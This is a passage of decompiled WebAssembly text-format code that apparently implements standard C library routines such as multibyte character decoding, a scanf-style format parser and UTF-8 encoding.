(local.get $l4)
(i32.const 12))
(local.get $p0)))
(block $B4
(block $B5
(br_if $B5
(i32.eqz
(local.get $p3)))
(local.set $p0
(local.get $p2))
(br $B4))
(block $B6
(br_if $B6
(i32.lt_s
(local.tee $p0
(i32.shr_s
(i32.shl
(local.tee $p3
(i32.load8_u
(local.get $p1)))
(i32.const 24))
(i32.const 24)))
(i32.const 0)))
(i32.store
(local.get $l7)
(local.get $p3))
(local.set $l6
(i32.ne
(local.get $p0)
(i32.const 0)))
(br $B0))
(local.set $p3
(call $f82))
(local.set $p0
(i32.load8_s
(local.get $p1)))
(block $B7
(br_if $B7
(i32.load
(i32.load offset=88
(local.get $p3))))
(i32.store
(local.get $l7)
(i32.and
(local.get $p0)
(i32.const 57343)))
(local.set $l6
(i32.const 1))
(br $B0))
(br_if $B2
(i32.gt_u
(local.tee $p3
(i32.add
(i32.and
(local.get $p0)
(i32.const 255))
(i32.const -194)))
(i32.const 50)))
(local.set $p3
(i32.load
(i32.add
(i32.shl
(local.get $p3)
(i32.const 2))
(i32.const 2400))))
(br_if $B1
(i32.eqz
(local.tee $p0
(i32.add
(local.get $p2)
(i32.const -1)))))
(local.set $p1
(i32.add
(local.get $p1)
(i32.const 1))))
(br_if $B2
(i32.gt_u
(i32.or
(i32.add
(local.tee $l9
(i32.shr_u
(local.tee $l8
(i32.load8_u
(local.get $p1)))
(i32.const 3)))
(i32.const -16))
(i32.add
(i32.shr_s
(local.get $p3)
(i32.const 26))
(local.get $l9)))
(i32.const 7)))
(loop $L8
(local.set $p0
(i32.add
(local.get $p0)
(i32.const -1)))
(block $B9
(br_if $B9
(i32.lt_s
(local.tee $p3
(i32.or
(i32.add
(i32.and
(local.get $l8)
(i32.const 255))
(i32.const -128))
(i32.shl
(local.get $p3)
(i32.const 6))))
(i32.const 0)))
(i32.store
(local.get $l5)
(i32.const 0))
(i32.store
(local.get $l7)
(local.get $p3))
(local.set $l6
(i32.sub
(local.get $p2)
(local.get $p0)))
(br $B0))
(br_if $B1
(i32.eqz
(local.get $p0)))
(br_if $L8
(i32.eq
(i32.and
(local.tee $l8
(i32.load8_u
(local.tee $p1
(i32.add
(local.get $p1)
(i32.const 1)))))
(i32.const 192))
(i32.const 128)))))
(i32.store
(local.get $l5)
(i32.const 0))
(i32.store
(call $__errno_location)
(i32.const 25))
(local.set $l6
(i32.const -1))
(br $B0))
(i32.store
(local.get $l5)
(local.get $p3)))
(global.set $g0
(i32.add
(local.get $l4)
(i32.const 16)))
(local.get $l6))
(func $f85 (type $t0) (param $p0 i32) (result i32)
(block $B0
(br_if $B0
(local.get $p0))
(return
(i32.const 1)))
(i32.eqz
(i32.load
(local.get $p0))))
(func $f86 (type $t1) (param $p0 i32) (param $p1 i32) (param $p2 i32) (result i32)
(local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32) (local $l12 i32) (local $l13 i32) (local $l14 i32) (local $l15 i32) (local $l16 i32) (local $l17 i32) (local $l18 i64) (local $l19 i64) (local $l20 i64)
(global.set $g0
(local.tee $l3
(i32.sub
(global.get $g0)
(i32.const 304))))
(local.set $l4
(i32.const 0))
(block $B0
(br_if $B0
(i32.lt_s
(i32.load offset=76
(local.get $p0))
(i32.const 0)))
(local.set $l4
(call $f20
(local.get $p0))))
(block $B1
(block $B2
(block $B3
(block $B4
(block $B5
(br_if $B5
(i32.load offset=4
(local.get $p0)))
(drop
(call $f64
(local.get $p0)))
(br_if $B5
(i32.load offset=4
(local.get $p0)))
(local.set $l5
(i32.const 0))
(br $B4))
(block $B6
(br_if $B6
(local.tee $l6
(i32.load8_u
(local.get $p1))))
(local.set $l7
(i32.const 0))
(br $B1))
(local.set $l8
(i32.add
(local.get $l3)
(i32.const 16)))
(local.set $l18
(i64.const 0))
(local.set $l7
(i32.const 0))
(block $B7
(block $B8
(block $B9
(block $B10
(loop $L11
(block $B12
(block $B13
(br_if $B13
(i32.eqz
(call $f65
(i32.and
(local.get $l6)
(i32.const 255)))))
(loop $L14
(local.set $p1
(i32.add
(local.tee $l6
(local.get $p1))
(i32.const 1)))
(br_if $L14
(call $f65
(i32.load8_u offset=1
(local.get $l6)))))
(call $f67
(local.get $p0)
(i64.const 0))
(loop $L15
(block $B16
(block $B17
(br_if $B17
(i32.eq
(local.tee $p1
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $p1)
(i32.const 1)))
(local.set $p1
(i32.load8_u
(local.get $p1)))
(br $B16))
(local.set $p1
(call $f68
(local.get $p0))))
(br_if $L15
(call $f65
(local.get $p1))))
(local.set $p1
(i32.load offset=4
(local.get $p0)))
(block $B18
(br_if $B18
(i64.lt_s
(i64.load offset=112
(local.get $p0))
(i64.const 0)))
(i32.store offset=4
(local.get $p0)
(local.tee $p1
(i32.add
(local.get $p1)
(i32.const -1)))))
(local.set $l18
(i64.add
(i64.add
(i64.load offset=120
(local.get $p0))
(local.get $l18))
(i64.extend_i32_s
(i32.sub
(local.get $p1)
(i32.load offset=44
(local.get $p0))))))
(br $B12))
(block $B19
(block $B20
(block $B21
(block $B22
(br_if $B22
(i32.ne
(i32.load8_u
(local.get $p1))
(i32.const 37)))
(br_if $B21
(i32.eq
(local.tee $l6
(i32.load8_u offset=1
(local.get $p1)))
(i32.const 42)))
(br_if $B20
(i32.ne
(local.get $l6)
(i32.const 37))))
(call $f67
(local.get $p0)
(i64.const 0))
(block $B23
(block $B24
(br_if $B24
(i32.ne
(i32.load8_u
(local.get $p1))
(i32.const 37)))
(loop $L25
(block $B26
(block $B27
(br_if $B27
(i32.eq
(local.tee $l6
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l6)
(i32.const 1)))
(local.set $l6
(i32.load8_u
(local.get $l6)))
(br $B26))
(local.set $l6
(call $f68
(local.get $p0))))
(br_if $L25
(call $f65
(local.get $l6))))
(local.set $p1
(i32.add
(local.get $p1)
(i32.const 1)))
(br $B23))
(block $B28
(br_if $B28
(i32.eq
(local.tee $l6
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l6)
(i32.const 1)))
(local.set $l6
(i32.load8_u
(local.get $l6)))
(br $B23))
(local.set $l6
(call $f68
(local.get $p0))))
(block $B29
(br_if $B29
(i32.eq
(local.get $l6)
(i32.load8_u
(local.get $p1))))
(block $B30
(br_if $B30
(i64.lt_s
(i64.load offset=112
(local.get $p0))
(i64.const 0)))
(i32.store offset=4
(local.get $p0)
(i32.add
(i32.load offset=4
(local.get $p0))
(i32.const -1))))
(br_if $B1
(i32.gt_s
(local.get $l6)
(i32.const -1)))
(local.set $l5
(i32.const 0))
(br_if $B4
(i32.eqz
(local.get $l7)))
(br $B1))
(local.set $l18
(i64.add
(i64.add
(i64.load offset=120
(local.get $p0))
(local.get $l18))
(i64.extend_i32_s
(i32.sub
(i32.load offset=4
(local.get $p0))
(i32.load offset=44
(local.get $p0))))))
(local.set $l6
(local.get $p1))
(br $B12))
(local.set $l6
(i32.add
(local.get $p1)
(i32.const 2)))
(local.set $l9
(i32.const 0))
(br $B19))
(block $B31
(br_if $B31
(i32.eqz
(call $f42
(local.get $l6))))
(br_if $B31
(i32.ne
(i32.load8_u offset=2
(local.get $p1))
(i32.const 36)))
(local.set $l6
(i32.add
(local.get $p1)
(i32.const 3)))
(local.set $l9
(call $f87
(local.get $p2)
(i32.add
(i32.load8_u offset=1
(local.get $p1))
(i32.const -48))))
(br $B19))
(local.set $l6
(i32.add
(local.get $p1)
(i32.const 1)))
(local.set $l9
(i32.load
(local.get $p2)))
(local.set $p2
(i32.add
(local.get $p2)
(i32.const 4))))
(local.set $l10
(i32.const 0))
(local.set $p1
(i32.const 0))
(block $B32
(br_if $B32
(i32.eqz
(call $f42
(i32.load8_u
(local.get $l6)))))
(loop $L33
(local.set $p1
(i32.add
(i32.add
(i32.mul
(local.get $p1)
(i32.const 10))
(i32.load8_u
(local.get $l6)))
(i32.const -48)))
(local.set $l11
(i32.load8_u offset=1
(local.get $l6)))
(local.set $l6
(i32.add
(local.get $l6)
(i32.const 1)))
(br_if $L33
(call $f42
(local.get $l11)))))
(block $B34
(block $B35
(br_if $B35
(i32.eq
(local.tee $l12
(i32.load8_u
(local.get $l6)))
(i32.const 109)))
(local.set $l11
(local.get $l6))
(br $B34))
(local.set $l11
(i32.add
(local.get $l6)
(i32.const 1)))
(local.set $l13
(i32.const 0))
(local.set $l10
(i32.ne
(local.get $l9)
(i32.const 0)))
(local.set $l12
(i32.load8_u offset=1
(local.get $l6)))
(local.set $l14
(i32.const 0)))
(local.set $l6
(i32.add
(local.get $l11)
(i32.const 1)))
(local.set $l15
(i32.const 3))
(local.set $l5
(local.get $l10))
(block $B36
(block $B37
(block $B38
(block $B39
(block $B40
(block $B41
(br_table $B37 $B7 $B37 $B7 $B37 $B37 $B37 $B7 $B7 $B7 $B7 $B38 $B7 $B7 $B7 $B7 $B7 $B7 $B37 $B7 $B7 $B7 $B7 $B37 $B7 $B7 $B37 $B7 $B7 $B7 $B7 $B7 $B37 $B7 $B37 $B37 $B37 $B37 $B37 $B41 $B37 $B36 $B7 $B40 $B7 $B37 $B37 $B37 $B7 $B7 $B37 $B39 $B37 $B7 $B7 $B37 $B7 $B39 $B7
(i32.add
(i32.and
(local.get $l12)
(i32.const 255))
(i32.const -65))))
(local.set $l6
(select
(i32.add
(local.get $l11)
(i32.const 2))
(local.get $l6)
(local.tee $l11
(i32.eq
(i32.load8_u offset=1
(local.get $l11))
(i32.const 104)))))
(local.set $l15
(select
(i32.const -2)
(i32.const -1)
(local.get $l11)))
(br $B36))
(local.set $l6
(select
(i32.add
(local.get $l11)
(i32.const 2))
(local.get $l6)
(local.tee $l11
(i32.eq
(i32.load8_u offset=1
(local.get $l11))
(i32.const 108)))))
(local.set $l15
(select
(i32.const 3)
(i32.const 1)
(local.get $l11)))
(br $B36))
(local.set $l15
(i32.const 1))
(br $B36))
(local.set $l15
(i32.const 2))
(br $B36))
(local.set $l15
(i32.const 0))
(local.set $l6
(local.get $l11)))
(local.set $l16
(select
(i32.const 1)
(local.get $l15)
(local.tee $l12
(i32.eq
(i32.and
(local.tee $l11
(i32.load8_u
(local.get $l6)))
(i32.const 47))
(i32.const 3)))))
(block $B42
(br_if $B42
(i32.eq
(local.tee $l17
(select
(i32.or
(local.get $l11)
(i32.const 32))
(local.get $l11)
(local.get $l12)))
(i32.const 91)))
(block $B43
(block $B44
(br_if $B44
(i32.eq
(local.get $l17)
(i32.const 110)))
(br_if $B43
(i32.ne
(local.get $l17)
(i32.const 99)))
(local.set $p1
(select
(local.get $p1)
(i32.const 1)
(i32.gt_s
(local.get $p1)
(i32.const 1))))
(br $B42))
(call $f88
(local.get $l9)
(local.get $l16)
(local.get $l18))
(br $B12))
(call $f67
(local.get $p0)
(i64.const 0))
(loop $L45
(block $B46
(block $B47
(br_if $B47
(i32.eq
(local.tee $l11
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l11)
(i32.const 1)))
(local.set $l11
(i32.load8_u
(local.get $l11)))
(br $B46))
(local.set $l11
(call $f68
(local.get $p0))))
(br_if $L45
(call $f65
(local.get $l11))))
(local.set $l11
(i32.load offset=4
(local.get $p0)))
(block $B48
(br_if $B48
(i64.lt_s
(i64.load offset=112
(local.get $p0))
(i64.const 0)))
(i32.store offset=4
(local.get $p0)
(local.tee $l11
(i32.add
(local.get $l11)
(i32.const -1)))))
(local.set $l18
(i64.add
(i64.add
(i64.load offset=120
(local.get $p0))
(local.get $l18))
(i64.extend_i32_s
(i32.sub
(local.get $l11)
(i32.load offset=44
(local.get $p0)))))))
(call $f67
(local.get $p0)
(local.tee $l19
(i64.extend_i32_s
(local.get $p1))))
(block $B49
(block $B50
(br_if $B50
(i32.eq
(local.tee $l11
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l11)
(i32.const 1)))
(br $B49))
(br_if $B9
(i32.lt_s
(call $f68
(local.get $p0))
(i32.const 0))))
(block $B51
(br_if $B51
(i64.lt_s
(i64.load offset=112
(local.get $p0))
(i64.const 0)))
(i32.store offset=4
(local.get $p0)
(i32.add
(i32.load offset=4
(local.get $p0))
(i32.const -1))))
(local.set $l11
(i32.const 16))
(block $B52
(block $B53
(block $B54
(block $B55
(block $B56
(block $B57
(block $B58
(block $B59
(block $B60
(block $B61
(br_table $B55 $B52 $B52 $B59 $B52 $B52 $B52 $B52 $B52 $B60 $B52 $B59 $B57 $B60 $B60 $B60 $B52 $B56 $B52 $B52 $B52 $B52 $B52 $B58 $B55 $B52 $B52 $B59 $B52 $B57 $B52 $B52 $B55 $B61
(i32.add
(local.get $l17)
(i32.const -88))))
(br_if $B52
(i32.gt_u
(local.tee $p1
(i32.add
(local.get $l17)
(i32.const -65)))
(i32.const 6)))
(br_if $B52
(i32.eqz
(i32.and
(i32.shl
(i32.const 1)
(local.get $p1))
(i32.const 113)))))
(call $f75
(i32.add
(local.get $l3)
(i32.const 8))
(local.get $p0)
(local.get $l16)
(i32.const 0))
(br_if $B54
(i64.ne
(i64.load offset=120
(local.get $p0))
(i64.sub
(i64.const 0)
(i64.extend_i32_s
(i32.sub
(i32.load offset=4
(local.get $p0))
(i32.load offset=44
(local.get $p0)))))))
(br $B3))
(block $B62
(br_if $B62
(i32.ne
(i32.and
(local.get $l17)
(i32.const 239))
(i32.const 99)))
(drop
(call $f41
(i32.add
(local.get $l3)
(i32.const 32))
(i32.const -1)
(i32.const 257)))
(i32.store8 offset=32
(local.get $l3)
(i32.const 0))
(br_if $B53
(i32.ne
(local.get $l17)
(i32.const 115)))
(i32.store8 offset=65
(local.get $l3)
(i32.const 0))
(i32.store8 offset=46
(local.get $l3)
(i32.const 0))
(i32.store offset=42 align=2
(local.get $l3)
(i32.const 0))
(br $B53))
(drop
(call $f41
(i32.add
(local.get $l3)
(i32.const 32))
(local.tee $l11
(i32.eq
(local.tee $l15
(i32.load8_u offset=1
(local.get $l6)))
(i32.const 94)))
(i32.const 257)))
(i32.store8 offset=32
(local.get $l3)
(i32.const 0))
(local.set $l12
(select
(i32.add
(local.get $l6)
(i32.const 2))
(i32.add
(local.get $l6)
(i32.const 1))
(local.get $l11)))
(block $B63
(block $B64
(block $B65
(block $B66
(br_if $B66
(i32.eq
(local.tee $l6
(i32.load8_u
(i32.add
(local.get $l6)
(select
(i32.const 2)
(i32.const 1)
(local.get $l11)))))
(i32.const 45)))
(br_if $B65
(i32.eq
(local.get $l6)
(i32.const 93)))
(local.set $l15
(i32.ne
(local.get $l15)
(i32.const 94)))
(local.set $l6
(local.get $l12))
(br $B63))
(i32.store8 offset=78
(local.get $l3)
(local.tee $l15
(i32.ne
(local.get $l15)
(i32.const 94))))
(br $B64))
(i32.store8 offset=126
(local.get $l3)
(local.tee $l15
(i32.ne
(local.get $l15)
(i32.const 94)))))
(local.set $l6
(i32.add
(local.get $l12)
(i32.const 1))))
(loop $L67
(block $B68
(block $B69
(br_if $B69
(i32.eq
(local.tee $l11
(i32.load8_u
(local.get $l6)))
(i32.const 45)))
(br_if $B9
(i32.eqz
(local.get $l11)))
(br_if $B68
(i32.ne
(local.get $l11)
(i32.const 93)))
(br $B53))
(local.set $l11
(i32.const 45))
(br_if $B68
(i32.eqz
(local.tee $l5
(i32.load8_u offset=1
(local.get $l6)))))
(br_if $B68
(i32.eq
(local.get $l5)
(i32.const 93)))
(local.set $l12
(i32.add
(local.get $l6)
(i32.const 1)))
(block $B70
(block $B71
(br_if $B71
(i32.lt_u
(local.tee $l6
(i32.load8_u
(i32.add
(local.get $l6)
(i32.const -1))))
(local.get $l5)))
(local.set $l11
(local.get $l5))
(br $B70))
(loop $L72
(i32.store8
(i32.add
(i32.add
(local.get $l3)
(i32.const 32))
(local.tee $l6
(i32.add
(local.get $l6)
(i32.const 1))))
(local.get $l15))
(br_if $L72
(i32.lt_u
(local.get $l6)
(local.tee $l11
(i32.load8_u
(local.get $l12)))))))
(local.set $l6
(local.get $l12)))
(i32.store8
(i32.add
(i32.add
(local.get $l11)
(i32.add
(local.get $l3)
(i32.const 32)))
(i32.const 1))
(local.get $l15))
(local.set $l6
(i32.add
(local.get $l6)
(i32.const 1)))
(br $L67))
(unreachable))
(local.set $l11
(i32.const 8))
(br $B55))
(local.set $l11
(i32.const 10))
(br $B55))
(local.set $l11
(i32.const 0)))
(local.set $l19
(call $f79
(local.get $p0)
(local.get $l11)
(i32.const 0)
(i64.const -1)))
(br_if $B3
(i64.eq
(i64.load offset=120
(local.get $p0))
(i64.sub
(i64.const 0)
(i64.extend_i32_s
(i32.sub
(i32.load offset=4
(local.get $p0))
(i32.load offset=44
(local.get $p0)))))))
(block $B73
(br_if $B73
(i32.ne
(local.get $l17)
(i32.const 112)))
(br_if $B73
(i32.eqz
(local.get $l9)))
(i64.store32
(local.get $l9)
(local.get $l19))
(br $B52))
(call $f88
(local.get $l9)
(local.get $l16)
(local.get $l19))
(br $B52))
(br_if $B52
(i32.eqz
(local.get $l9)))
(local.set $l19
(i64.load
(local.get $l8)))
(local.set $l20
(i64.load offset=8
(local.get $l3)))
(block $B74
(block $B75
(block $B76
(br_table $B76 $B75 $B74 $B52
(local.get $l16)))
(f32.store
(local.get $l9)
(call $f115
(local.get $l20)
(local.get $l19)))
(br $B52))
(f64.store
(local.get $l9)
(call $f114
(local.get $l20)
(local.get $l19)))
(br $B52))
(i64.store
(local.get $l9)
(local.get $l20))
(i64.store offset=8
(local.get $l9)
(local.get $l19))
(br $B52))
(local.set $l15
(select
(i32.add
(local.get $p1)
(i32.const 1))
(i32.const 31)
(local.tee $l12
(i32.eq
(local.get $l17)
(i32.const 99)))))
(block $B77
(block $B78
(br_if $B78
(local.tee $l16
(i32.ne
(local.get $l16)
(i32.const 1))))
(local.set $l11
(local.get $l9))
(block $B79
(br_if $B79
(i32.eqz
(local.get $l10)))
(br_if $B8
(i32.eqz
(local.tee $l11
(call $f93
(i32.shl
(local.get $l15)
(i32.const 2)))))))
(i64.store offset=296
(local.get $l3)
(i64.const 0))
(local.set $p1
(i32.const 0))
(local.set $l13
(i32.ne
(local.get $l10)
(i32.const 0)))
(block $B80
(loop $L81
(local.set $l14
(local.get $l11))
(loop $L82
(block $B83
(block $B84
(br_if $B84
(i32.eq
(local.tee $l11
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l11)
(i32.const 1)))
(local.set $l11
(i32.load8_u
(local.get $l11)))
(br $B83))
(local.set $l11
(call $f68
(local.get $p0))))
(br_if $B80
(i32.eqz
(i32.load8_u
(i32.add
(i32.add
(local.get $l11)
(i32.add
(local.get $l3)
(i32.const 32)))
(i32.const 1)))))
(i32.store8 offset=27
(local.get $l3)
(local.get $l11))
(br_if $L82
(i32.eq
(local.tee $l11
(call $f84
(i32.add
(local.get $l3)
(i32.const 28))
(i32.add
(local.get $l3)
(i32.const 27))
(i32.const 1)
(i32.add
(local.get $l3)
(i32.const 296))))
(i32.const -2)))
(br_if $B10
(i32.eq
(local.get $l11)
(i32.const -1)))
(block $B85
(br_if $B85
(i32.eqz
(local.get $l14)))
(i32.store
(i32.add
(local.get $l14)
(i32.shl
(local.get $p1)
(i32.const 2)))
(i32.load offset=28
(local.get $l3)))
(local.set $p1
(i32.add
(local.get $p1)
(i32.const 1))))
(br_if $L82
(i32.ne
(i32.and
(local.get $l13)
(i32.eq
(local.get $p1)
(local.get $l15)))
(i32.const 1))))
(br_if $L81
(local.tee $l11
(call $f95
(local.get $l14)
(i32.shl
(local.tee $l15
(i32.or
(i32.shl
(local.get $l15)
(i32.const 1))
(i32.const 1)))
(i32.const 2))))))
(local.set $l5
(i32.const 1))
(local.set $l13
(i32.const 0))
(br $B7))
(br_if $B10
(i32.eqz
(call $f85
(i32.add
(local.get $l3)
(i32.const 296)))))
(local.set $l13
(i32.const 0))
(br $B77))
(block $B86
(br_if $B86
(i32.eqz
(local.get $l10)))
(local.set $p1
(i32.const 0))
(br_if $B8
(i32.eqz
(local.tee $l11
(call $f93
(local.get $l15)))))
(loop $L87
(local.set $l13
(local.get $l11))
(loop $L88
(block $B89
(block $B90
(br_if $B90
(i32.eq
(local.tee $l11
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l11)
(i32.const 1)))
(local.set $l11
(i32.load8_u
(local.get $l11)))
(br $B89))
(local.set $l11
(call $f68
(local.get $p0))))
(block $B91
(br_if $B91
(i32.load8_u
(i32.add
(i32.add
(local.get $l11)
(i32.add
(local.get $l3)
(i32.const 32)))
(i32.const 1))))
(local.set $l14
(i32.const 0))
(br $B77))
(i32.store8
(i32.add
(local.get $l13)
(local.get $p1))
(local.get $l11))
(br_if $L88
(i32.ne
(local.tee $p1
(i32.add
(local.get $p1)
(i32.const 1)))
(local.get $l15))))
(local.set $l5
(i32.const 1))
(local.set $l14
(i32.const 0))
(br_if $L87
(local.tee $l11
(call $f95
(local.get $l13)
(local.tee $l15
(i32.or
(i32.shl
(local.get $l15)
(i32.const 1))
(i32.const 1))))))
(br $B7))
(unreachable))
(local.set $p1
(i32.const 0))
(block $B92
(br_if $B92
(i32.eqz
(local.get $l9)))
(loop $L93
(block $B94
(block $B95
(br_if $B95
(i32.eq
(local.tee $l11
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l11)
(i32.const 1)))
(local.set $l11
(i32.load8_u
(local.get $l11)))
(br $B94))
(local.set $l11
(call $f68
(local.get $p0))))
(block $B96
(br_if $B96
(i32.load8_u
(i32.add
(i32.add
(local.get $l11)
(i32.add
(local.get $l3)
(i32.const 32)))
(i32.const 1))))
(local.set $l14
(i32.const 0))
(local.set $l13
(local.get $l9))
(br $B77))
(i32.store8
(i32.add
(local.get $l9)
(local.get $p1))
(local.get $l11))
(local.set $p1
(i32.add
(local.get $p1)
(i32.const 1)))
(br $L93))
(unreachable))
(loop $L97
(block $B98
(block $B99
(br_if $B99
(i32.eq
(local.tee $p1
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $p1)
(i32.const 1)))
(local.set $p1
(i32.load8_u
(local.get $p1)))
(br $B98))
(local.set $p1
(call $f68
(local.get $p0))))
(br_if $L97
(i32.load8_u
(i32.add
(i32.add
(local.get $p1)
(i32.add
(local.get $l3)
(i32.const 32)))
(i32.const 1)))))
(local.set $l13
(i32.const 0))
(local.set $l14
(i32.const 0))
(local.set $p1
(i32.const 0)))
(local.set $l11
(i32.load offset=4
(local.get $p0)))
(block $B100
(br_if $B100
(i64.lt_s
(i64.load offset=112
(local.get $p0))
(i64.const 0)))
(i32.store offset=4
(local.get $p0)
(local.tee $l11
(i32.add
(local.get $l11)
(i32.const -1)))))
(br_if $B3
(i64.eqz
(local.tee $l20
(i64.add
(i64.load offset=120
(local.get $p0))
(i64.extend_i32_s
(i32.sub
(local.get $l11)
(i32.load offset=44
(local.get $p0))))))))
(block $B101
(br_if $B101
(i32.ne
(local.get $l17)
(i32.const 99)))
(br_if $B3
(i64.ne
(local.get $l20)
(local.get $l19))))
(block $B102
(br_if $B102
(i32.eqz
(local.get $l10)))
(block $B103
(br_if $B103
(local.get $l16))
(i32.store
(local.get $l9)
(local.get $l14))
(br $B102))
(i32.store
(local.get $l9)
(local.get $l13)))
(br_if $B52
(local.get $l12))
(block $B104
(br_if $B104
(i32.eqz
(local.get $l14)))
(i32.store
(i32.add
(local.get $l14)
(i32.shl
(local.get $p1)
(i32.const 2)))
(i32.const 0)))
(block $B105
(br_if $B105
(local.get $l13))
(local.set $l13
(i32.const 0))
(br $B52))
(i32.store8
(i32.add
(local.get $l13)
(local.get $p1))
(i32.const 0)))
(local.set $l18
(i64.add
(i64.add
(i64.load offset=120
(local.get $p0))
(local.get $l18))
(i64.extend_i32_s
(i32.sub
(i32.load offset=4
(local.get $p0))
(i32.load offset=44
(local.get $p0))))))
(local.set $l7
(i32.add
(local.get $l7)
(i32.ne
(local.get $l9)
(i32.const 0)))))
(local.set $p1
(i32.add
(local.get $l6)
(i32.const 1)))
(br_if $L11
(local.tee $l6
(i32.load8_u offset=1
(local.get $l6))))
(br $B1))
(unreachable))
(local.set $l13
(i32.const 0)))
(local.set $l5
(local.get $l10))
(br $B7))
(local.set $l5
(i32.const 1))
(local.set $l13
(i32.const 0))
(local.set $l14
(i32.const 0)))
(br_if $B2
(local.get $l7)))
(local.set $l7
(i32.const -1))
(br $B2))
(local.set $l5
(local.get $l10)))
(br_if $B1
(i32.eqz
(local.get $l5)))
(call $f94
(local.get $l13))
(call $f94
(local.get $l14)))
(block $B106
(br_if $B106
(i32.eqz
(local.get $l4)))
(call $f21
(local.get $p0)))
(global.set $g0
(i32.add
(local.get $l3)
(i32.const 304)))
(local.get $l7))
(func $f87 (type $t4) (param $p0 i32) (param $p1 i32) (result i32)
(local $l2 i32)
(i32.store offset=12
(local.tee $l2
(i32.sub
(global.get $g0)
(i32.const 16)))
(local.get $p0))
(i32.store offset=8
(local.get $l2)
(i32.add
(local.tee $p0
(i32.add
(local.get $p0)
(select
(i32.add
(i32.shl
(local.get $p1)
(i32.const 2))
(i32.const -4))
(i32.const 0)
(i32.gt_u
(local.get $p1)
(i32.const 1)))))
(i32.const 4)))
(i32.load
(local.get $p0)))
(func $f88 (type $t30) (param $p0 i32) (param $p1 i32) (param $p2 i64)
(block $B0
(br_if $B0
(i32.eqz
(local.get $p0)))
(block $B1
(block $B2
(block $B3
(block $B4
(br_table $B4 $B3 $B2 $B2 $B0 $B1 $B0
(i32.add
(local.get $p1)
(i32.const 2))))
(i64.store8
(local.get $p0)
(local.get $p2))
(return))
(i64.store16
(local.get $p0)
(local.get $p2))
(return))
(i64.store32
(local.get $p0)
(local.get $p2))
(return))
(i64.store
(local.get $p0)
(local.get $p2))))
(func $f89 (type $t4) (param $p0 i32) (param $p1 i32) (result i32)
(call $f86
(i32.const 2760)
(local.get $p0)
(local.get $p1)))
(func $f90 (type $t0) (param $p0 i32) (result i32)
(block $B0
(br_if $B0
(local.get $p0))
(return
(i32.const 0)))
(i32.store
(call $__errno_location)
(local.get $p0))
(i32.const -1))
(func $f91 (type $t1) (param $p0 i32) (param $p1 i32) (param $p2 i32) (result i32)
(local $l3 i32)
(local.set $l3
(i32.const 1))
(block $B0
(block $B1
(br_if $B1
(i32.eqz
(local.get $p0)))
(br_if $B0
(i32.le_u
(local.get $p1)
(i32.const 127)))
(block $B2
(block $B3
(br_if $B3
(i32.load
(i32.load offset=88
(call $f82))))
(br_if $B0
(i32.eq
(i32.and
(local.get $p1)
(i32.const -128))
(i32.const 57216)))
(i32.store
(call $__errno_location)
(i32.const 25))
(br $B2))
(block $B4
(br_if $B4
(i32.gt_u
(local.get $p1)
(i32.const 2047)))
(i32.store8 offset=1
(local.get $p0)
(i32.or
(i32.and
(local.get $p1)
(i32.const 63))
(i32.const 128)))
(i32.store8
(local.get $p0)
(i32.or
(i32.shr_u
(local.get $p1)
(i32.const 6))
(i32.const 192)))
(return
(i32.const 2)))
(block $B5
(block $B6
(br_if $B6
(i32.lt_u
(local.get $p1)
(i32.const 55296)))
(br_if $B5
(i32.ne
(i32.and
(local.get $p1)
(i32.const -8192))
(i32.const 57344))))
(i32.store8 offset=2
(local.get $p0)
(i32.or
(i32.and
(local.get $p1)
(i32.const 63))
(i32.const 128)))
(i32.store8
(local.get $p0)
(i32.or
(i32.shr_u
(local.get $p1)
(i32.const 12))
(i32.const 224)))
(i32.store8 offset=1
(local.get $p0)
(i32.or
(i32.and
(i32.shr_u
(local.get $p1)
(i32.const 6))
(i32.const 63))
(i32.const 128)))
(return
(i32.const 3)))
(block $B7
(br_if $B7
(i32.gt_u
(i32.add
(local.get $p1)
(i32.const -65536))
(i32.const 1048575)))
(i32.store8 offset=3
(local.get $p0)
(i32.or
(i32.and
(local.get $p1)
(i32.const 63))
(i32.const 128)))
(i32.store8
(local.get $p0)
(i32.or
(i32.shr_u
(local.get $p1)
(i32.const 18))
(i32.const 240)))
(i32.store8 offset=2
(local.get $p0)
(i32.or
(i32.and
(i32.shr_u
(local.get $p1)
(i32.const 6))
(i32.const 63))
(i32.const 128)))
(i32.store8 offset=1
(local.get $p0)
(i32.or
(i32.and
(i32.shr_u
(local.get $p1)
(i32.const 12))
(i32.const 63))
(i32.const 128)))
(return
(i32.const 4)))
(i32.store
(call $__errno_location)
(i32.const 25)))
(local.set $l3
(i32.const -1)))
(return
(local.get $l3)))
(i32.store8
(local.get $p0)
(local.get $p1))
(i32.const 1))
(func $f92 (type $t4) (param $p0 i32) (param $p1 i32) (result i32)
(block $B0
(br_if $B0
(local.get $p0))
(return
(i32.const 0)))
(call $f91
(local.get $p0)
(local.get $p1)
(i32.const 0)))
(func $f93 (type $t0) (param $p0 i32) (result i32)
(local $l1 i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32)
(global.set $g0
(local.tee $l1
(i32.sub
(global.get $g0)
(i32.const 16))))
(block $B0
(block $B1
(block $B2
(block $B3
(block $B4
(block $B5
(block $B6
(block $B7
(block $B8
